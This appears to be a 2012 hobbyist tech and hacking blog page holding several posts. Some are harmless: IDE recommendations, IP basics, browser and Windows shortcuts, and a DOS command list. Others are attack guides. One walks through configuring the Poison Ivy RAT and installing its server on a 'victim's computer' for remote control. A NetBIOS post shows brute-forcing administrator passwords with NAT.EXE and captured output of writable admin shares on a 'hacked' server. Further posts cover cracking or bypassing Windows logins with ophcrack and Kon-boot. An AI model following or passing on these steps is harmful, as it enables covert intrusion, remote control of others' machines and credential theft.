Tuesday, 25 September 2012

Best 5 C/C++ IDE's and Compilers -

All newbie's in C/C++ programming always think that which IDE and Compilers, we should use to make your programming task easy and smooth.

There are some basics C/C++ IDE and Compiler that we commonly use in programming such as Visual C++ , TURBO C++ from Borland International So I have listed out other than these common IDE and Compiler.

Below listed IDE and Compiler not only for C/C++ but may also be used for other language such as - FROTRON, JAVA etc.

There are some best 5 IDE and Compilers (Under free license) for C/C++ programmer -

1. Eclipse - Eclipse is multi-language software development environment. Mostly part of Eclipse is developed in JAVA and can be used to develop programs in Java, C/C++, COBOL, PHP etc. Eclipse developed different IDE for different types of platform and language such as for Java, C/C++, Mobile platform etc. You can download Eclipse from here.

2. NetBeans - The NetBeans IDE is integrated IDE that means you can create or develop applications for enterprise, web, desktop, and also for mobile platforms using the JAVA, PHP, JavaScript, Ajax, Groovy and Grails, and C/C++. You can download NetBeans from here.

3. Dev C++ - Dev C++ IDE is developed by BloodShed Software. Dev C++ IDE is One of the simplest IDE present today, all newbie can use it to develop application for windows by using C/C++. You can download Dev C++ from here.

4. Code::Blocks - Code::Block is  free and open source IDE which is developed in C++. It also support multiple compiler including GCC and MSVC. It can be used to create and develop applications for ARM, AVR, MATLAB etc. Code::Block is developed for Windows, Linux, Mac, Free BSD. You can download Code::Block from here.

5 SkyIDE - SkyIDE is free and very small in size but support multiple compiler for C/C++, Java, Pascal etc. You can work in multiple project without any conflict. You can download skyIDE from here.
Read more... ...

Friday, 8 June 2012

How to Hack Windows System by Using RAT (Trojan) -

In this post, I am going to show you, how you can hack windows system using RAT (Trojan). Before explaining it, you must know what the Trojan is, and what it's function?

What is RAT (Trojan)? - A remote access tool (a RAT) is a piece of software that allows a remote "operator" to control a system as if he has physical access to that system. While desktop sharing and remote administration have many legal uses, "RAT" software is usually associated with criminal or malicious activity. Malicious RAT software is typically installed without the victim’s knowledge, often as payload of a Trojan horse, and will try to hide its operation from the victim and from security software.

What it’s Function? - Its primary function is for one computer operator to gain access to remote PCs. The operator controls the RAT via network connection. Such tools provide an operator the following capabilities:
  • We can capture Screen/camera.
  • We can do all File management such as: download/upload/execute etc.
  • We can control Shell from command prompt.
  • We can control Computer’s control such as: power off/on/log off etc.
  • We can manage the entire Registry such as: query/add/delete/modify Registry.
  • Other software specific functions.

For Example - Guide of Using Poison IVY RAT -

Step 1 - You can download it from here.

Step 2 - After downloading it, extract all files to the one folder.

Step 3 - Then Execute Poison Ivy 2.3.2.exe.


Step 4 - Configure Server - by clicking on New Server under File menu.

Step 5 - Create profile by clicking on it. And give some name to it.


Step 6 - Under Connection tab –
             Set DNS/Port – For DNS use no-ip or static IP address of your system.

Step 7 – After configuring all settings, install this server to the victim’s computer.


Step 8 – Then Click New Client under File menu and set same port and password as you set in Server.

Step 9 – As soon as the Network Connection will available between Server and Client, Server connects with  client and you can control server system with client from remote area.

Read more... ...

Monday, 5 March 2012

What is IP address -






An IP address (Internet Protocol address) is a unique address that electronic devices are using for identifying and communicating to each other on a computer network by using the TCP/IP Protocol. The TCP/IP is the most famous and most commonly used protocol for communication among electronic devices over Internet.

These network devices may be routers, switches, computers, infrastructure servers (e.g., NTP, DNS, DHCP, SNMP, etc.), printers, Internet fax machines, and some telephones. That can have its own address which is unique within the specific computer network.

The IP address is used as a locator for particular computer network to find network device. It is not intended, however, to act as an identifier that always uniquely identifies a particular device. In current practice, an IP address is less likely to be an identifier, due to technologies such as Dynamic assignment and Network address translation.

Read more... ...

Saturday, 3 March 2012

How To Crack Or Reset Windows Machine Password -

Sometimes user forget windows machine password then what option that left ???? may be
  1. Reinstall windows machine.
  2. Reset Windows machine password.
  3. Crack Windows machine password.
  4. Bypass Windows password without changing current password.
Lets Discuss these options -

1. Reinstall windows machine - If you have "Windows Operating System CD" and the content on your machine's windows drive (most of the time it is C: Drive or Partition) are not so important for you then you can think about this option but it takes time.

2. Reset Windows machine password - The meaning of reset is basically set the new password without knowing the old Windows password.

You can reset windows password with great tool "Offline NT Password & Registry Editor". You can download it from their official website "http://pogostick.net/~pnh/ntpasswd/".To reset new password you have to boot machine from floppy or CD or USB. This tool "Offline NT Password & Registry Editor" available with floppy or CD/USB image:
  • Download "Offline NT Password & Registry Editor" USB boot disk.
  • Extract all files from usbXXXXXX.zip (which you downloaded) archive to your USB Thumb drive.
  • Install bootloader on the USB drive, from command prompt in windows (start the command line with "run as administrator" if possible)
    X:syslinux.exe -ma X:
  • Replace X: with the drive letter the USB drive shows up as (DO NOT USE C:).
  • If it seems like nothing happened, it is usually done.
  • Your USB Thumb drive should now be bootable.
  • Restart your machine and boot it from USB Thumb drive by changing setting from BIOS.
  • Now follow the given instruction on your screen.


3. Crack Windows Machine password - The meaning of crack is to know the current password of windows.

Cracking Windows machine password can be done by using great tool "ophcrack" and you can download it from their official website "http://ophcrack.sourceforge.net/download.php":
  • Download "ophcrack Live CD for XP" or "ophcrack Live CD for Vista".
  • Write or Burn "ophcrack LiveCD"  image into CD or DVD.
  • Restart Machine and boot it from CD by changing BIOS settings.
  • Follow the ON Screen instruction.
  
4. Bypass Windows Password without changing current password - Go here.


Note: For more Information check out our video tutorial -
 

Read more... ...

Monday, 27 February 2012

How To Boot From USB Thumbdrive In Vmware Workstation -

Normally, You cannot boot from USB Thumbdrive in Vmware Workstation because when you restart your VMware machine all the external hd, thumbdrive, automatically disconnect from your machine...
So thats it means you cannot boot from USB thumbdrive in Vmware workstation, answer is nope. You can boot your USB thumbdrive but you need special tool that is "Plop Boot Manager", you can download it from their Official website  http://www.plop.at/en/bootmanager/download.html:
  1. Download Plop Boot Manager.
  2. Extract Plop Boot Manager iso image file from archive compressed file.
  3. Go to the VMware Machine setting, then go for Cd/DVD(IDE) then tick options "Connected" & "Connect at power ON" and browse the Plop Boot Manager iso image under "Use iso image file" option.                                                                                                                                                         

  4. Then Click OK to save setting and Start your VMware machine.
  5. During Startup boot VMware from CD.

  6. Plop Boot Manager starts and then go for usb by using of arrow of keyboard.
  7. Now You can boot USB thumbdrive in VMware workstation.

Read more... ...

Saturday, 25 February 2012

Kon-boot to Usb Pendrive -

When I discovered Kon-Boot and posted it in my blog, I got request on how to put Kon-Boot ISO image file to USB. We know that kon-boot available with floppy and CD image But Now days Floppy doesn't come with machines and CDs are hard to put in pocket. So in this post We put kon-boot in USB pendrive with the help of tool Unetbootin 3.5.7 (Older Version) and it allows you to create bootable Live USB drives for a variety of Linux distributions or Windows, without requiring you to use of CD. In this trick use the floppy image instead of the CD ISO Image :
  1. Download older version of Unetbootin and install.
  2. Download kon-boot floppy image and extract the zip file to get .img file.
  3. Plugin your USB Pen Dive.
  4. Run Unetbotin 3.5.7, Select Diskimage, click .img file from where you extract image file in above step.
  5. Make sure USB Drive is selected for Type and the drive letter is the USB flash drive that you want to install Kon-Boot. Click OK. It should take a few seconds to finish installing Kon-Boot floppy image into your USB.
  6. Replace syslinux.cfg and chain.c32 of your usb pendrive by edited syslinux.cfg and chain.c32 from here.(credit goes to Irongreek). 
  7. Now bootup your machine with USB Pendrive by changing the settings from BIOS.
  8. If you get it right then you should see the kon-boot Screen as shown below...

Read more... ...

Forget Windows OR Linux Password ? No Problem -

When user forget the password of his windows & Linux machine, then the question comes in the mind - What next ?

One of the Solution of that problem may be Bypass the windows or Linux machine password by great tool- "Kon-boot", which you can download from their Official website "http://www.piotrbania.com/all/kon-boot/" or kon-boot cd image file from here. Kon-boot is cool tool that boots from CD or floppy and modifies memory to let you login without knowing a local accont password in both Windows (even up to Windows 7 but not free) and Linux (not all destro).Konbot is sort of bootloader that lets you bypass when the OS finishes booting.

Unfortunately CDs are to put in your pocket and floppy doesn't come with machine. So what I need to put this tool Kon-boot into USB Pendrive.Which I will explain in my next post .
  1. Download kon boot cd image file.
  2. Burn this iso cd image file into CD by using any CD burner Software , You can use UltraIso to write .iso file in CD.
  3. Set Bios to boot from CD.
  4. Then follow the instruction.
If you have problem related this post, you can see the Video given below ......




    Read more... ...

    Sunday, 31 July 2011

    NetBios Hacking -

    This is for an Educational purpose only -

    Net BIOS Attack Methods -
    This Net BIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components being used is NAT.EXE. A discussion of the tool, it switches, and common techniques follows:
    NAT.EXE [-o filename] [-u userlist] [-p passlist]

    Switches -
    -o - Specify the output file. All results from the scan will be written to the specified file, in addition to standard output.
    -u - Specify the file to read usernames from usernames will be read from the specified file when attempting to guess the password on the remote server.Usernames should appear one per line in the specified file.
    -p - Specify the file to read passwords from. Passwords will be read from the specified file when attempting to guess the password on the remote server. Passwords should appear one per line in the specified file.

    Addresses should be specified in comma deliminated format, with no spaces. Valid address specifications include:
    hostname - "hostname" is added :
    127.0.0.1-127.0.0.3, adds addresses 127.0.0.1 through 127.0.0.3
    127.0.0.1-3, adds addresses 127.0.0.1 through 127.0.0.3
    127.0.0.1-3,7,10-20, adds addresses 127.0.0.1 through 127.0.0.3, 127.0.0.7, 127.0.0.10 through 127.0.0.20.
    hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1 through 127.0.0.1
    All combinations of hostnames and address ranges as specified above are valid.

    [8.0.1] Comparing NAT.EXE to Microsoft's own executables
    [8.0.2] First, a look at NBTSTAT

    First we look at the NBTSTAT command. This command was discussed in earlier portions of the book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this tool is used and how it compares to other Microsoft tools and non Microsoft tools.

    What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. Again, if you are interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat Command portion of the book.

    C:\nbtstat -A XXX.XX.XXX.XX
    NetBIOS Remote Machine Name Table
    Name Type Status
    ---------------------------------------------
    STUDENT1 <20> UNIQUE Registered
    STUDENT1 <00> UNIQUE Registered
    DOMAIN1 <00> GROUP Registered
    DOMAIN1 <1C> GROUP Registered
    DOMAIN1 <1B> UNIQUE Registered
    STUDENT1 <03> UNIQUE Registered
    DOMAIN1 <1E> GROUP Registered
    DOMAIN1 <1D> UNIQUE Registered
    ..__MSBROWSE__.<01> GROUP Registered

    MAC Address = 00-C0-4F-C4-8C-9D

    Here is a partial NetBIOS 16th bit listing:

    Computername <00> UNIQUE workstation service name
    <00> GROUP domain name
    Server <20> UNIQUE Server Service name

    Computername <03> UNIQUE Registered by the messenger service. This is the computername
    to be added to the LMHOSTS file which is not necessary to use
    NAT.EXE but is necessary if you would like to view the remote
    computer in Network Neighborhood.
    Username <03> Registered by the messenger service.
    Domainname <1B> Registers the local computer as the master browser for the domain
    Domainname <1C> Registers the computer as a domain controller for the domain
    (PDC or BDC)
    Domainname <1D> Registers the local client as the local segments master browser
    for the domain
    Domainname <1E> Registers as a Group NetBIOS Name
    Network Monitor Name
    Network Monitor Agent
    <06> RAS Server
    <1F> Net DDE
    <21> RAS Client


    [8.0.3] Intro to the NET commands
    The NET command is a command that admins can execute through a dos window to show information about servers, networks, shares, and connections. It also has a number of command options that you can use to add user accounts and groups, change domain settings, and configure shares. In this section, you will learn about these NET commands, and you will also have the outline to a NET command Batch file that can be used as a primitive network security analysis tool. Before we continue on with the techniques, a discussion of the available options will come first:

    [8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.
    [8.0.5] Net Computer: This adds or deletes computers from a domains database.
    [8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.
    [8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.
    [8.0.8] Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.
    [8.0.9] Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.
    [8.1.0] Net Help: Help with these commands
    [8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.
    [8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those groups.
    [8.1.3] Net Name: This command shows the names of computers and users to which messages are sent on the computer.
    [8.1.4] Net Pause: Use this command to suspend a certain NT service.
    [8.1.5] Net Print: Displays print jobs and shared queues.
    [8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging names on the network.
    [8.1.7] Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.
    [8.1.8] Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.
    [8.1.9] Net Statistics Server or Workstation: Shows the statistics log.
    [8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service, may stop other services.
    [8.2.1] Net Time: This command is used to display or set the time for a computer or domain.
    [8.2.2] Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.
    [8.2.3] Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.
    [8.2.4] Net View: This command displays a list of resources being shared on a computer. Including netware servers.
    [8.2.5] Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation, DOS and older Windows clients have these NET commands available:

    Net Config
    Net Diag (runs the diagnostic program)
    Net Help
    Net Init (loads protocol and network adapter drivers.)
    Net Logoff
    Net Logon
    Net Password (changes password)
    Net Print
    Net Start
    Net Stop
    Net Time
    Net Use
    Net Ver (displays the type and version of the network redirector)
    Net View

    For this section, the command being used is the NET VIEW and NET USE commands.

    [8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack.
    C:\net view XXX.XX.XXX.XX
    Shared resources at XXX.XX.XXX.XX
    Share name Type Used as Comment
    ------------------------------------------------------------------------------
    NETLOGON Disk Logon server share
    Test Disk
    The command completed successfully.

    NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.

    C:\net use /?
    The syntax of this command is:
    NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
    [/USER:[domainname\]username]
    [[/DELETE] | [/PERSISTENT:{YES | NO}]]
    NET USE [devicename | *] [password | *]] [/HOME]
    NET USE [/PERSISTENT:{YES | NO}]

    C:\net use x: \\XXX.XX.XXX.XX\test

    The command completed successfully.
    C:\unzipped\nat10bin>net use
    New connections will be remembered.
    Status Local Remote Network
    -------------------------------------------------------------------------------
    OK X: \\XXX.XX.XXX.XX\test Microsoft Windows Network
    OK \\XXX.XX.XXX.XX\test Microsoft Windows Network


    The command completed successfully.
    Here is an actual example of how the NAT.EXE program is used. The information listed here is an actual capture of the activity. The IP addresses have been changed to protect, well, us.
    C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YYY.YY.YYY.YY

    [*]--- Reading usernames from userlist.txt
    [*]--- Reading passwords from passlist.txt

    [*]--- Checking host: XXX.XX.XXX.XX
    [*]--- Obtaining list of remote NetBIOS names

    [*]--- Attempting to connect with name: *
    [*]--- Unable to connect

    [*]--- Attempting to connect with name: *SMBSERVER
    [*]--- CONNECTED with name: *SMBSERVER
    [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
    [*]--- Server time is Mon Dec 01 07:44:34 1997
    [*]--- Timezone is UTC-6.0
    [*]--- Remote server wants us to encrypt, telling it not to

    [*]--- Attempting to connect with name: *SMBSERVER
    [*]--- CONNECTED with name: *SMBSERVER
    [*]--- Attempting to establish session
    [*]--- Was not able to establish session with no password
    [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
    [*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'
    [*]--- Obtained server information:
    Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]
    [*]--- Obtained listing of shares:

    Sharename Type Comment
    --------- ---- -------
    ADMIN$ Disk: Remote Admin
    C$ Disk: Default share
    IPC$ IPC: Remote IPC
    NETLOGON Disk: Logon server share
    Test Disk:

    [*]--- This machine has a browse list:
    Server Comment
    --------- -------
    STUDENT1

    [*]--- Attempting to access share: \\*SMBSERVER\
    [*]--- Unable to access

    [*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
    [*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
    [*]--- Checking write access in: \\*SMBSERVER\ADMIN$
    [*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
    [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

    [*]--- Attempting to access share: \\*SMBSERVER\C$
    [*]--- WARNING: Able to access share: \\*SMBSERVER\C$
    [*]--- Checking write access in: \\*SMBSERVER\C$
    [*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
    [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

    [*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
    [*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
    [*]--- Checking write access in: \\*SMBSERVER\NETLOGON
    [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

    [*]--- Attempting to access share: \\*SMBSERVER\Test
    [*]--- WARNING: Able to access share: \\*SMBSERVER\Test
    [*]--- Checking write access in: \\*SMBSERVER\Test
    [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

    [*]--- Attempting to access share: \\*SMBSERVER\D$
    [*]--- Unable to access

    [*]--- Attempting to access share: \\*SMBSERVER\ROOT
    [*]--- Unable to access

    [*]--- Attempting to access share: \\*SMBSERVER\WINNT$
    [*]--- Unable to access

    If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If not, keep playing. You will be surprised what you find out.

    Source: Wehacker
    Read more... ...

    Sunday, 24 July 2011

    Hack Passwords In Firefox -

    Whenever you log in to a website using your username and password, you will be prompted by Firefox whether you'd like Firefox to remember this password.

    If you click on Remember, the next time you visit the website, it'll automatically enter the username and password for your convenience.

    Now, back to the topic. Let's say you saved your GMail password in Firefox. After months or years gone by and you don't remember the password you set for my GMail. You started to panic and desperately need to get back your GMail password.

    Don't worry, here's how you can find the hidden GMail password in Firefox.

    Firefox is much better than Internet Explorer in terms of managing "remembered" logins. In Internet Explorer, there is no built-in feature where you can manage or view your saved login information. That's why you need third party tools to reveal the passwords hidden under asterisks. As for Firefox, you can access remembered passwords with a few clicks.

    To view your remembered passwords in Firefox browser, go to Tools, and click on Options. Go to Security tab and click on the Show Passwords button. A remember password dialog box will appear. Click on the Show Passwords button again and a new column with password will appear. ( source )
    Read more... ...

    Mozilla Firefox Shortcuts -

    Ctrl + Tab or Ctrl + PageDown - Cycle through tabs.
    Ctrl + Shift + Tab or Ctrl + PageUp - Cycle through tabs in reverse.
    Ctrl + (1-9) - Switch to tab corresponding to number.
    Ctrl + N - New window.
    Ctrl + T - New tab.
    Ctrl + L or Alt + D or F6 - Switch focus to location bar.
    Ctrl + Enter - Open location in new tab.
    Shift + Enter - Open location in new window.
    Ctrl + K or Ctrl + E - Switch focus to search bar.
    Ctrl + O - Open a local file.
    Ctrl + W  - Close tab, or window if there's only one tab open.
    Ctrl + Shift + W - Close window.
    Ctrl + S - Save page as a local file.
    Ctrl + P - Print page.
    Ctrl + F or F3 - Open find toolbar.
    Ctrl + G or F3 - Find next...
    Ctrl + Shift + G or Shift + F3 - Find previous...
    Ctrl + B or Ctrl + I - Open Bookmarks sidebar.
    Ctrl + H - Open History sidebar.
    Escape - Stop loading page.
    Ctrl + R or F5 - Reload current page.
    Ctrl + Shift + R or Ctrl + F5 - Reload current page; bypass cache.
    Ctrl + U - View page source.
    Ctrl + D - Bookmark current page.
    Ctrl + NumpadPlus or Ctrl + Equals (+/=) - Increase text size.
    Ctrl + NumpadMinus or Ctrl + Minus - Decrease text size.
    Ctrl + Numpad0 or Ctrl + 0 - Set text size to default.
    Alt + Left or Backspace - Back.
    Alt + Right or Shift + Backspace - Forward.
    Alt + Home - Open home page.
    Ctrl + M - Open new message in integrated mail client.
    Ctrl + J - Open Downloads dialog.
    F6 - Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.
    Shift + F6 - Switch to previous frame.
    Apostrophe (') - Find link as you type.
    Slash (/) - Find text as you type.
    Read more... ...

    Complete List Of Win Xp Dos Command -

    ADDUSERS - Add or list users to/from a CSV file
    ARP - Address Resolution Protocol
    ASSOC - Change file extension associations
    ASSOCIAT - One step file association
    AT - Schedule a command to run at a later time
    ATTRIB - Change file attributes

    BOOTCFG - Edit Windows boot settings
    BROWSTAT - Get domain, browser and PDC info

    CACLS - Change file permissions
    CALL - Call one batch program from another
    CD Change Directory - move to a specific Folder
    CHANGE - Change Terminal Server Session properties
    CHKDSK Check Disk - check and repair disk problems
    CHKNTFS - Check the NTFS file system
    CHOICE - Accept keyboard input to a batch file
    CIPHER - Encrypt or Decrypt files/folders
    CleanMgr - Automated cleanup of Temp files, recycle bin
    CLEARMEM - Clear memory leaks
    CLIP - Copy STDIN to the Windows clipboard.
    CLS - Clear the screen
    CLUSTER - Windows Clustering
    CMD - Start a new CMD shell
    COLOR - Change colors of the CMD window
    COMP - Compare the contents of two files or sets of files
    COMPACT - Compress files or folders on an NTFS partition
    COMPRESS - Compress individual files on an NTFS partition
    CON2PRT - Connect or disconnect a Printer
    CONVERT - Convert a FAT drive to NTFS.
    COPY - Copy one or more files to another location
    CSVDE - Import or Export Active Directory data

    DATE - Display or set the date
    Dcomcnfg - DCOM Configuration Utility
    DEFRAG - Defragment hard drive
    DEL - Delete one or more files
    DELPROF - Delete NT user profiles
    DELTREE - Delete a folder and all subfolders
    DevCon - Device Manager Command Line Utility
    DIR - Display a list of files and folders
    DIRUSE - Display disk usage
    DISKCOMP - Compare the contents of two floppy disks
    DISKCOPY - Copy the contents of one floppy disk to another
    DNSSTAT DNS - Statistics
    DOSKEY - Edit command line, recall commands, and create macros
    DSADD - Add user (computer, group..) to active directory
    DSQUERY - List items in active directory
    DSMOD - Modify user (computer, group..) in active directory

    ECHO - Display message on screen
    ENDLOCAL - End localisation of environment changes in a batch file
    ERASE - Delete one or more files
    EXIT - Quit the CMD shell
    EXPAND - Uncompress files
    EXTRACT - Uncompress CAB files

    FC - Compare two files
    FDISK - Disk Format and partition
    FIND - Search for a text string in a file
    FINDSTR - Search for strings in files
    FOR /F - Loop command: against a set of files
    FOR /F - Loop command: against the results of another command
    FOR - Loop command: all options Files, Directory, List
    FORFILES - Batch process multiple files
    FORMAT - Format a disk
    FREEDISK - Check free disk space (in bytes)
    FSUTIL - File and Volume utilities
    FTP - File Transfer Protocol
    FTYPE - Display or modify file types used in file extension associations

    GLOBAL - Display membership of global groups
    GOTO - Direct a batch program to jump to a labelled line

    HELP - Online Help
    HFNETCHK -  Network Security Hotfix Checker

    IF - Conditionally perform a command
    IFMEMBER - Is the current user in an NT Workgroup
    IPCONFIG - Configure IP

    KILL - Remove a program from memory

    LABEL - Edit a disk label
    LOCAL - Display membership of local groups
    LOGEVENT - Write text to the NT event viewer.
    LOGOFF - Log a user off
    LOGTIME - Log the date and time in a file

    MAPISEND - Send email from the command line
    MEM - Display memory usage
    MD - Create new folders
    MODE - Configure a system device
    MORE - Display output, one screen at a time
    MOUNTVOL - Manage a volume mount point
    MOVE - Move files from one folder to another
    MOVEUSER - Move a user from one domain to another
    MSG - Send a message
    MSIEXEC - Microsoft Windows Installer
    MSINFO - Windows NT diagnostics
    MSTSC - Terminal Server Connection (Remote Desktop Protocol)
    MUNGE - Find and Replace text within file(s)
    MV Copy in-use files

    NET - Manage network resources
    NETDOM - Domain Manager
    NETSH - Configure network protocols
    NETSVC - Command-line Service Controller
    NBTSTAT - Display networking statistics (NetBIOS over TCP/IP)
    NETSTAT - Display networking statistics (TCP/IP)
    NOW - Display the current Date and Time
    NSLOOKUP - Name server lookup
    NTBACKUP - Backup folders to tape
    NTRIGHTS - Edit user account rights

    PATH - Display or set a search path for executable files
    PATHPING - Trace route plus network latency and packet loss
    PAUSE - Suspend processing of a batch file and display a message
    PERMS - Show permissions for a user
    PERFMON - Performance Monitor
    PING - Test a network connection
    POPD - Restore the previous value of the current directory saved by PUSHD
    PORTQRY - Display the status of ports and services
    PRINT - Print a text file
    PRNCNFG - Display, configure or rename a printer
    PRNMNGR - Add, delete, list printers set the default printer
    PROMPT - Change the command prompt
    PsExec - Execute process remotely
    PsFile - Show files opened remotely
    PsGetSid - Display the SID of a computer or a user
    PsInfo - List information about a system
    PsKill - Kill processes by name or process ID
    PsList - List detailed information about processes
    PsLoggedOn - Who's logged on (locally or via resource sharing)
    PsLogList - Event log records
    PsPasswd - Change account password
    PsService - View and control services
    PsShutdown - Shutdown or reboot a computer
    PsSuspend - Suspend processes
    PUSHD - Save and then change the current directory

    QGREP - Search file(s) for lines that match a given pattern.

    RASDIAL - Manage RAS connections
    RASPHONE - Manage RAS connections
    RECOVER - Recover a damaged file from a defective disk.
    REG - Read, Set or Delete registry keys and values
    REGEDIT - Import or export registry settings
    REGSVR32 - Register or unregister a DLL
    REGINI - Change Registry Permissions
    REM - Record comments (remarks) in a batch file
    REN - Rename a file or files.
    REPLACE - Replace or update one file with another
    RD - Delete folder(s)
    RDISK - Create a Recovery Disk
    RMTSHARE - Share a folder or a printer
    ROBOCOPY - Robust File and Folder Copy
    ROUTE - Manipulate network routing tables
    RUNAS - Execute a program under a different user account
    RUNDLL32 - Run a DLL command (add/remove print connections)

    SC - Service Control
    SCHTASKS - Create or Edit Scheduled Tasks
    SCLIST - Display NT Services
    ScriptIt - Control GUI applications
    SET - Display, set, or remove environment variables
    SETLOCAL - Control the visibility of environment variables
    SETX - Set environment variables permanently
    SHARE - List or edit a file share or print share
    SHIFT - Shift the position of replaceable parameters in a batch file
    SHORTCUT - Create a windows shortcut (.LNK file)
    SHOWGRPS - List the NT Workgroups a user has joined
    SHOWMBRS - List the Users who are members of a Workgroup
    SHUTDOWN - Shutdown the computer
    SLEEP - Wait for x seconds
    SOON - Schedule a command to run in the near future
    SORT - Sort input
    START - Start a separate window to run a specified program or command
    SU - Switch User
    SUBINACL - Edit file and folder Permissions, Ownership and Domain
    SUBST - Associate a path with a drive letter
    SYSTEMINFO - List system configuration

    TASKLIST - List running applications and services
    TIME - Display or set the system time
    TIMEOUT - Delay processing of a batch file
    TITLE - Set the window title for a CMD.EXE session
    TOUCH - Change file timestamps
    TRACERT - Trace route to a remote host
    TREE - Graphical display of folder structure
    TYPE - Display the contents of a text file

    USRSTAT - List domain usernames and last login

    VER - Display version information
    VERIFY - Verify that files have been saved
    VOL - Display a disk label

    WHERE - Locate and display files in a directory tree
    WHOAMI - Output the current UserName and domain
    WINDIFF - Compare the contents of two files or sets of files
    WINMSD - Windows system diagnostics
    WINMSDP - Windows system diagnostics II
    WMIC WMI - Commands

    XCACLS - Change file permissions
    XCOPY - Copy files and folders
    Read more... ...

    Windows Hotkeys -


    Shift + F10 - right-clicks

    Win + L (XP Only) - Locks keyboard. Similar to Lock Workstation.

    Win + F or F3 - Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.

    Win + Control + F - Open Find dialog. (Computers)

    Win + U - Open Utility Manager.

    Win + F1 - Open Windows help.

    Win + Pause - Open System Properties dialog.

    Win + Tab - Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.

    Win + Shift + Tab - Cycle through taskbar buttons in reverse.

    Alt + Tab - Display Cool Switch. More commonly known as the AltTab dialog.

    Alt + Shift + Tab - Display Cool Switch; go in reverse.

    Alt + Escape - Send active window to the bottom of the z-order.

    Alt + Shift + Escape - Activate the window at the bottom of the z-order.

    Alt + F4 - Close active window; or, if all windows are closed, open shutdown dialog.

    Shift while a CD is loading - Bypass AutoPlay.

    Shift while login - Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)

    Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states) - Invoke the Task Manager or NT Security dialog.

    Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) - Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.

    Print screen - Copy screenshot of current screen to clipboard.

    Alt + Print screen - Copy screenshot of current active window to clipboard.

    Ctrl + Alt + Down Arrow - Invert screen. Untested on OS's other than XP.

    Ctrl + Alt + Up Arrow - Undo inversion.

    Win + B - Move focus to systray icons.
    Read more... ...

    Generic -

    Ctrl+C or Ctrl+Insert - Copy

    Ctrl+X or Shift+Delete - Cut

    Ctrl+V or Shift+Insert - Paste/Move

    Ctrl+N - New File, Tab, Entry,

    Ctrl+S - Save

    Ctrl+O - Open

    Ctrl+P - Print

    Ctrl+Z - Undo

    Ctrl+A - Select all

    Ctrl+F - Find

    Ctrl+W  - to close the current window

    Ctrl+F4 - Close tab or child window

    F1 - Open help

    F11 - Toggle full screen mode

    Alt or F10 - Activate menu bar

    Alt+Space - Display system menu Same as clicking the icon on the titlebar

    Escape - Remove focus from current control/menu, or close dialog box

    Generic Navigation -

    Tab - Forward one item

    Shift+Tab - Backward one item

    Ctrl+Tab - Cycle through tabs/child windows

    Ctrl+Shift+Tab - Cycle backwards through tabs/child windows

    Enter - If a button's selected, click it, otherwise, click default button

    Space - Toggle items such as radio buttons or checkboxes

    Alt+(Letter) - Activate item corresponding to (Letter) (Letter) is the underlined letter on the item's name

    Ctrl+Left - Move cursor to the beginning of previous word

    Ctrl+Right - Move cursor to the beginning of next word

    Ctrl+Up - Move cursor to beginning of previous paragraph This and all subsequent Up/Down hotkeys in this section have only been known to work in Rich Edit controls

    Ctrl+Down - Move cursor to beginning of next paragraph

    Shift+Left - Highlight one character to the left

    Shift+Right - Highlight one character to the right

    Shift+Up - Highlight from current cursor position, to one line up

    Shift+Down - Highlight from current cursor position, to one line down

    Ctrl+Shift+Left - Highlight to beginning of previous word

    Ctrl+Shift+Right - Highlight to beginning of next word

    Ctrl+Shift+Up - Highlight to beginning of previous paragraph

    Ctrl+Shift+Down - Highlight to beginning of next paragraph

    Home - Move cursor to top of a scrollable control

    End - Move cursor to bottom of a scrollable control

    Generic File BrowserArrow Keys - Navigate

    Shift+Arrow Keys - Select multiple items

